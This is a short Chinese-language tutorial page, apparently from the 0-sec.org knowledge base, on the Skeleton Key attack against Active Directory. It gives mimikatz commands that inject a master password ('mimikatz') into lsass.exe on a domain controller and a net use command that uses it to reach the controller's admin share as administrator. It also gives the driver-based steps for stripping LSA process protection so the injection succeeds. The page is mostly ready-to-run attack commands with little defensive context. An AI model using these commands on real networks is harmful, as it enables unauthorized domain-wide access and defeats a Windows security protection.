5.3 skeleton key

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效。

1、 在域控上安装 skeleton key

mimikatz.exe privilege::debug "misc::skeleton"

image

2、 在域内其他机器尝试使用 skeleton key 去访问域控

添加的密码是 mimikatz

C:\Users\jeff1>net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\adm inistrator

image

3、 微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程 lsass.exe 的代码注 入。如果直接尝试添加 skelenton key 会失败。

适用系统:

  • windows 8.1
  • windows server 2012 及以上

image

当然 mimikatz 依旧可以绕过,命令如下:

privilege::debug
!+
!processprotect /process:lsass.exe /remove 
misc::skeleton
零组资料文库 all right reserved,powered by 0-sec.org未经授权禁止转载 2019-12-24 20:21:25

results matching ""

    No results matching ""